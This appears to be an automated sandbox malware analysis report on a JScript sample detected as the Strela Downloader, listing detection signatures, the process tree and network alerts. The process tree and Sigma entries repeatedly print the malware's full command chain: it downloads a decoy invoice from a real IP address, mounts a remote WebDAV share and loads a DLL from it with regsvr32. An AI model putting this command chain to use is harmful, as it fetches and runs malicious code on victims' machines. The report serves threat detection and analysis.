Edit tour

Windows Analysis Report
5405100231672716142.js

Overview

General Information

Sample name:	5405100231672716142.js
Analysis ID:	1589003
MD5:	df4c11d958aa780f7bcb40bb890e24fb
SHA1:	118b17a5dd0548f4d1d283828aff756911c0b88d
SHA256:	014cc4b0d95b05de2dc0d168bacab17b5fadbfea502be7d4f34129d9d3ff0814
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5236 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4568 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6444 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5756 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1684,i,4790951578485527133,4203297419372646476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5668 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2672 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2144 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5236	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6444, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6444, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ProcessId: 5236, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2672, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 60864

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 4568, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 4568, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 4568, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 4568, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 4568, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ProcessId: 5236, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6444, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2672, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2144, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2672, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5236, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll, ProcessId: 4568, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:15:44.098317+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	60852	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:15:46.897818+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	60864	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:15:44.098317+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	60852	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5405100231672716142.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5405100231672716142.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:60852 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:60864 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:15:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 8888
